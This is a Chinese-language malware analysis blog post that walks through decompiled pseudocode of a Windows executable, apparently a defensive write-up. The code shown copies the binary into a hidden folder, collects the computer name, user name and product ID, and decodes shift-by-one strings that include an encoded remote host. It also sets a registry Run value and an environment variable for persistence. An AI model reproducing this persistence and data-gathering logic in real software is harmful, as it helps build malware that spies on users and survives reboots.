逆向病毒
文件基础信息
属性 |
值 |
crc32 |
8C1CE91C |
md5 |
73c297f059dd94671ca4e4c7dbfa6241 |
sha1 |
f9d5e6003715fbe3ccdf78a8bef866ebc876c85f |
sha256 |
dcb8531b0879d46949dd63b1ac094f5588c26867805d0795e244f4f9b8077ed1 |
sha512 |
48db5c5b73bd824bf2ec3b398aea73c6ec93f519efcdc1528d8a91f32dcdbb428f539e6cb031416c8a2f551ec089993dd71a8bdae6530dd82bd4293e759dd402 |
ssdeep |
1536:rUUBxlaaqYV/VnvjIM3S9r8DzeEn5gairxh:DMbYkgjn5Qrf |
type |
PE32 executable (GUI) Intel 80386, for MS Windows |
主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { HWND Window; HWND v5; HACCEL AcceleratorsA; void *v7; void *v8; struct tagMSG Msg;
LoadStringA(hInstance, 0x67u, WindowName, 100); LoadStringA(hInstance, 0x6Du, ClassName, 100);
sub_402920();
::hInstance = hInstance;
Window = CreateWindowExA(0, ClassName, WindowName, 0xCF0000u, 0x80000000, 0, 0x80000000, 0, 0, 0, hInstance, 0); v5 = Window;
if (!Window) return 0;
ShowWindow(Window, 0);
UpdateWindow(v5);
AcceleratorsA = LoadAcceleratorsA(hInstance, (LPCSTR)0x6D);
v7 = malloc(0x5F5E100u); v8 = v7; if (v7) { memset(v7, 0, 0x5F5E100u); free(v8); sub_401130(); }
while (GetMessageA(&Msg, 0, 0, 0)) { if (!TranslateAcceleratorA(Msg.hwnd, AcceleratorsA, &Msg)) { TranslateMessage(&Msg); DispatchMessageA(&Msg); } }
return Msg.wParam; }
|
sub_402920
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
ATOM __usercall sub_402920@(HINSTANCE a1) { WNDCLASSEXA v2;
v2.cbSize = 48; v2.style = 3; v2.lpfnWndProc = sub_4029B0; v2.cbClsExtra = 0; v2.cbWndExtra = 0; v2.hInstance = a1; v2.hIcon = LoadIconA(a1, (LPCSTR)0x6B); v2.hCursor = LoadCursorA(0, (LPCSTR)0x7F00); v2.hbrBackground = (HBRUSH)6; v2.lpszMenuName = (LPCSTR)109; v2.lpszClassName = ClassName; v2.hIconSm = LoadIconA(v2.hInstance, (LPCSTR)0x6C); return RegisterClassExA(&v2); }
|
这个函数注册了一个窗口
下面再分析一下窗口过程函数
sub_4029B0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| LRESULT __stdcall sub_4029B0(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { struct tagPAINTSTRUCT Paint;
if ( Msg <= 0xF ) { switch ( Msg ) { case 0xFu: BeginPaint(hWnd, &Paint); EndPaint(hWnd, &Paint); return 0; case 1u: SetTimer(hWnd, 1u, 0x1770u, TimerFunc); return 0; case 2u: PostQuitMessage(0); return 0; } return DefWindowProcA(hWnd, Msg, wParam, lParam); }
if ( Msg != 273 ) return DefWindowProcA(hWnd, Msg, wParam, lParam); if ( (unsigned __int16)wParam == 104 ) { DialogBoxParamA(hInstance, (LPCSTR)0x67, hWnd, DialogFunc, 0); return 0; } else if ( (unsigned __int16)wParam == 105 ) { DestroyWindow(hWnd); return 0; } else { return DefWindowProcA(hWnd, 0x111u, wParam, lParam); } }
|
sub_401130
这个函数是用来创建隐藏目录并复制一些文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
| int sub_401130() { int v0; char v1; const char *v2; int v3; char v4; CHAR *v5; int v6; CHAR *v7; BYTE *v8; CHAR *v9; bool v10; unsigned __int8 v11; int v12;
_mkdir((const char *)Path); SetFileAttributesA((LPCSTR)Path, 2u);
v0 = 0; do { v1 = Path[v0]; byte_413298[v0++] = v1; } while ( v1 );
v2 = sub_4026E0("oDbdi", 1); *(_WORD *)&Path[strlen((const char *)Path)] = '\\'; *(_WORD *)&byte_413298[strlen(byte_413298)] = '\\';
v3 = 0; do { v4 = byte_413298[v3]; byte_4133A0[v3++] = v4; } while ( v4 );
strcat(byte_4133A0, v2); strcat((char *)Path, sub_4026E0("xjomho/fyf", 1));
sub_401740();
GetModuleFileNameA(0, Filename, 0x104u);
if ( strcmp(Filename, (const char *)Path) && !fopen((const char *)Path, "rb") ) sub_402740();
while ( WSAStartup(0x202u, &stru_412D00) ) Sleep(0x1388u);
pHints.ai_flags = 0; pHints.ai_addrlen = 0; pHints.ai_canonname = 0; pHints.ai_addr = 0; pHints.ai_next = 0; pHints.ai_family = 0; pHints.ai_socktype = 1; pHints.ai_protocol = 6;
v5 = sub_4026E0("pomjofkpiomjof::/psh", 1); v7 = pNodeName; do { LOBYTE(v6) = *v5; *v7++ = *v5++; } while ( (_BYTE)v6 );
sub_401570(v6, v7);
v8 = Path; v9 = Filename; while ( 1 ) { v10 = (unsigned __int8)*v9 < *v8; if ( *v9 != *v8 ) break; if ( !*v9 ) goto LABEL_17; v11 = v9[1]; v10 = v11 < v8[1]; if ( v11 != v8[1] ) break; v9 += 2; v8 += 2; if ( !v11 ) { LABEL_17: v12 = 0; goto LABEL_19; } } v12 = -v10 - (v10 - 1); LABEL_19: if ( v12 ) sub_401360(v8); return 0; }
|
该函数的主要作用是在指定目录下创建一个隐藏目录,并将一些文件复制到该目录中,然后比较当前模块的文件路径与指定路径,如果不同,则执行一些额外的操作。
下面再分析一下函数 sub_4026E0
sub_4026E0
这个函数是为了简单加密字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| _BYTE *__usercall sub_4026E0@<eax>(const char *a1@<eax>, char a2)
{ int v3; _BYTE *v4; _BYTE *v5; const char *v6; int v7;
v3 = strlen(a1); v4 = malloc(v3 + 1);
if (v3 <= 0) { *v4 = 0; return v4; } else { v5 = v4; v6 = (const char *)(a1 - v4); v7 = v3;
do { *v5 = v5[(_DWORD)v6] - a2; ++v5; --v7; } while (v7);
v4[v3] = 0; return v4; } }
|
接受一个字符串和一个字符作为参数,然后将字符串中的每个字符减去给定的字符(密钥),从而对字符串进行加密。加密后的字符串存储在动态分配的内存空间中,并返回指向该内存空间的指针。
实际上在这里秘钥是 1,所以加密后的字符串就是原始字符串的 ASCII 码每个字符减去 1。
下面是等效的 Python 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| while 1:
def decrypt_ascii_1(ciphertext, key): plaintext = "" for char in ciphertext: decrypted_char = chr(ord(char) - key) plaintext += decrypted_char return plaintext
ciphertext = input("请输入要解密的ASCII-1加密密文:") key = 1
plaintext = decrypt_ascii_1(ciphertext, key) print("解密后的明文:", plaintext)
|
下面再分析一下函数 sub_401740
sub_401740
这个函数是为了获取计算机名、用户名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int sub_401740() { DWORD nSize; DWORD pcbData; DWORD pcbBuffer;
nSize = 255; GetComputerNameA(Buffer, &nSize);
pcbData = 0x2000; RegGetValueA( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", 0xFFFFu, 0, &unk_413AD0, &pcbData);
pcbBuffer = 255; GetUserNameA(byte_412F90, &pcbBuffer);
return 0; }
|
该函数的主要作用是获取计算机名、用户名,并将它们保存到全局变量中。
下面再分析一下函数 sub_402740
sub_402740
这个函数是为了复制文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int sub_402740() { errno_t v0; errno_t v1; int i;
FILE *Stream; FILE *v5;
v0 = fopen_s(&Stream, Filename, "rb"); v1 = fopen_s(&v5, (const char *)Path, "wb");
if (v0) return -1;
if (v1) { fclose(Stream); return -1; }
for (i = fgetc(Stream); !feof(Stream); i = fgetc(Stream)) fputc(i, v5);
fclose(v5); fclose(Stream);
return 0; }
|
这个函数的作用是将一个文件的内容复制到另一个文件中,如果其中一个文件打开失败,则返回 -1。
下面再分析一下函数 sub_401570
sub_401570
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| char *sub_401570() { unsigned int v0; BYTE *v1; HKEY phkResult; DWORD cbData; DWORD Type; BYTE Data[1024];
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, 0x101u, &phkResult) ) { strcat(byte_4137C0, Buffer); strcat(byte_4137C0, "@!"); v0 = strlen(byte_412F90) + 1; v1 = (BYTE *)byte_412F90; } else { cbData = 1023; RegQueryValueExA(phkResult, "ProductId", 0, &Type, Data, &cbData); RegCloseKey(phkResult); strcat(byte_4137C0, Buffer); strcat(byte_4137C0, "##"); strcat(byte_4137C0, byte_412F90); strcat(byte_4137C0, "@@"); v0 = strlen((const char *)Data) + 1; v1 = Data; } qmemcpy(&byte_4137C0[strlen(byte_4137C0)], v1, v0); return byte_4137C0; }
|
从注册表中获取 “ProductId” 值,然后将一些字符串连接起来,并返回结果。
再看看 sub_401360
sub_401360
这个函数是为了保活
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| int sub_401360() { const CHAR *v0; const CHAR *v1; char *v2; HKEY phkResult; LPCSTR lpSubKey; const CHAR *v6;
lpSubKey = sub_4026E0("Tpguxbsf]Njdsptpgu", 1); strcat((char *)lpSubKey, sub_4026E0("]Xjoepxt]Dvssfouwfstjpo]", 1)); *(_DWORD *)&lpSubKey[strlen(lpSubKey)] = 7238994;
v0 = sub_4026E0("Efgbvmu2", 1); v1 = sub_4026E0("TfU", 1); v6 = v1;
if (RegQueryValueExA(0, v0, 0, 0, 0, 0)) { v2 = sub_4026E0("dne", 1); strcat(v2, sub_4026E0("!0d!tubsu!&TfU&!", 1)); strcat(v2, sub_4026E0("''!", 1)); strcat(v2, "exit"); RegOpenKeyExA(HKEY_CURRENT_USER, lpSubKey, 0, 0xF003Fu, &phkResult); RegSetValueExA(phkResult, v0, 0, 1u, (const BYTE *)v2, strlen(v2)); RegCloseKey(phkResult); v1 = v6; }
if (RegQueryValueExA(0, v1, 0, 0, 0, 0)) { RegOpenKeyExA(HKEY_CURRENT_USER, "Environment", 0, 0xF003Fu, &phkResult); RegSetValueExA(phkResult, v1, 0, 1u, Path, strlen((const char *)Path)); RegCloseKey(phkResult); } return 0; }
|
操作 Windows 注册表,为了保活,设置了一些注册表键值。